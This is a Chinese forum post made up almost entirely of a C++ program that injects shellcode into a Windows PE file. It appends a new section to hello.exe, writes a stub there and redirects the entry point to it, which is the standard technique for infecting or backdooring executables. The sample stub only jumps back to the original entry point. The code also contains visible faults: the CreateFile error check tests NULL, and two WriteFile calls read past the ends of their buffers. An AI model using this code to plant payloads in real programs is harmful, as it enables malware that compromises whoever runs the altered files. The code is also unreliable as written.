- 注册时间
- 2011-3-6
- 最后登录
- 1970-1-1
该用户从未签到
|
将shellcode放在PE文件新增的节表中
// InsertShellCodeToPE.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#define FILENAME "hello.exe"
//自定义的shellcode
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
/************************************************************************/
/* 函数说明:将dwNum按dwAlign大小生成对齐大小 */
/* 参数:dwNum 待对齐的数据长度 */
/* dwAlign 对齐粒度 */
/* 返回值:返回按指定粒度对齐后的大小 */
/************************************************************************/
DWORD Align(DWORD dwNum, DWORD dwAlign)
{
if (dwNum % dwAlign == 0)
{
return dwNum;
}
else
{
return (dwNum / dwAlign + 1) * dwAlign;
}
}
int main(int argc, char* argv[])
{
HANDLE hFile = ::CreateFile(FILENAME, FILE_GENERIC_READ|FILE_GENERIC_WRITE|FILE_GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (NULL == hFile)
{
printf("createfile error");
return -1;
}
HANDLE hFileMap = ::CreateFileMapping(hFile, NULL, PAGE_EXECUTE_READWRITE, 0, 0, NULL);
int n = GetLastError();
if (NULL == hFileMap)
{
printf("CreateFileMapping error");
return -1;
}
LPVOID lpMemory = ::MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (NULL == lpMemory)
{
printf("MapViewOfFile error");
return -1;
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpMemory;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)lpMemory + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&(pNTHeader->FileHeader);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&pNTHeader->OptionalHeader;
PIMAGE_SECTION_HEADER pSection = NULL;
IMAGE_SECTION_HEADER secToAdd = {0};
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE || pNTHeader->Signature != IMAGE_NT_SIGNATURE)
{
printf("Not valid PE file...");
return -1;
}
pSection = (PIMAGE_SECTION_HEADER)((BYTE*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
DWORD dwSectionNum = pFileHeader->NumberOfSections;
DWORD dwSectionAlign = pOptionalHeader->SectionAlignment;
DWORD dwOEP = pOptionalHeader->AddressOfEntryPoint;
dwOEP = (DWORD)(pOptionalHeader->ImageBase + dwOEP);
pSection = pSection + dwSectionNum - 1; //pSection指向了最后一个section节表的起始,下面根据最后一个section节表设置新的节表数据
strcpy((char *)secToAdd.Name, ".xiaoju");
secToAdd.Characteristics = pSection->Characteristics;
secToAdd.VirtualAddress = pSection->VirtualAddress + Align(pSection->Misc.VirtualSize, dwSectionAlign);
secToAdd.Misc.VirtualSize = dwSectionAlign;
secToAdd.PointerToRawData = pSection->PointerToRawData + pSection->SizeOfRawData;
secToAdd.SizeOfRawData = dwSectionAlign;
pSection++; //pSection指向了所有节表的最后
//写入新的节表
memcpy(pSection, &secToAdd, sizeof(IMAGE_SECTION_HEADER));
//改写pe文件中节表的数量
pFileHeader->NumberOfSections++;
//将shellcode中的预留位填充好
*(DWORD*)&shellcode[5] = dwOEP;
//增加文件大小
BYTE bNum = '\x0';
DWORD dwWritten = 0;
::SetFilePointer(hFile, 0, 0, FILE_END);
::WriteFile(hFile, &bNum, dwSectionAlign, &dwWritten, NULL);
//在新增节表的PointerToRawData处写入shellcode
::SetFilePointer(hFile, pSection->PointerToRawData, 0, FILE_BEGIN);
::WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwWritten, NULL);
//修改程序的映象大小和OEP
pOptionalHeader->SizeOfImage = pOptionalHeader->SizeOfImage + dwSectionAlign;
pOptionalHeader->AddressOfEntryPoint = pSection->VirtualAddress;
::UnmapViewOfFile(lpMemory);
::CloseHandle(hFileMap);
::CloseHandle(hFile);
return 0;
}
[/code]
原始hello.exe
程序运行后,修改后的hello.exe |
|